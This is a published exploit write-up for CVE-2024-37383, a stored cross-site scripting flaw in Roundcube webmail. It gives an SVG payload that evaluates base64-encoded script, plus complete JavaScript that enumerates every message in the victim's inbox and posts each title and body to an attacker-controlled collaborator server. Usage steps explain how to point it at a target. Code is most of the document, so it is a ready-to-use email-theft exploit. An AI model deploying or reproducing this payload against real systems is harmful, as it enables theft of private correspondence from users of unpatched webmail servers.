# Exploit Title: Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
# Google Dork:
# Exploit Author: AmirZargham
# Vendor Homepage: Roundcube - Free and Open Source Webmail Software
# Software Link: Releases · roundcube/roundcubemail
# Version: Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
# Tested on: firefox,chrome
# CVE: CVE-2024-37383
# CWE: CWE-79
# Platform: MULTIPLE
# Type: WebApps
Description
The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
Usage Info:
1 - open the Roundcube_mail_server_exploit_for_CVE-2024-37383.js.
2 - Change the web address of the original email (target) and the URL of the receiving server (attacker server).
3 - You can put the code in file SVG
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
4 - After the victim clicks, all emails in the mailbox will be sent to your collaborator server.
Exploit Code
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract title content using regex
let titleMatch = messageResponseText.match(/< title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";
// Use regex to extract the main message content
var regex = /([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// Clean HTML tags from the message content
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags
// Send the cleaned message and title to the user via POST request
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Handle network errors for message request
messageReq.onerror = function() {
// Error handling for message request
};
// Send the request for the current message URL
messageReq.send();
})(newUrl);
});
}
};
// Handle network errors for page request
pageReq.onerror = function() {
completedRequests++; // Increment completed request count even on error
};
// Send the request for the current page
pageReq.send();
})(page);
}
}
} catch (error) {
// Error handling for JSON parsing
}
}
};
// Handle network errors for initial request
req.onerror = function() {
// Error handling for initial request
};
// Send the request
req.send();
}
// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
var postReq = new XMLHttpRequest();
postReq.open('POST', attackerserver, true);
postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Define the response handler for the POST request
postReq.onload = function() {
// Response handler for successful send
};
// Handle network errors for sending message
postReq.onerror = function() {
// Error handling for message send
};
// Send the POST request with the URL-encoded title and message content
postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}
// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);
Steps to Reproduce
- Step 1: Setup URLs:
- Step 2: Get Total Page Count:
- Step 3: Fetch Message IDs from All Pages:
- Step 4: Retrieve Each Message's Content:
- Step 5: Extract and Clean Message Data:
- Step 6: Extract and Clean Message Data:
The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.
The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount). If pagecount is found, it proceeds to loop through each page.
For each page from 1 to pagecount, it constructs a paginated URL to request that page. Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.
For each message ID, the code constructs a URL to request detailed data about that message. It sends a GET request for each message ID URL, receiving the full response HTML.
Within each message response, it uses regex to capture the title (message title) and main message content. Any HTML tags are stripped from the message content to keep only the plain text.
For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.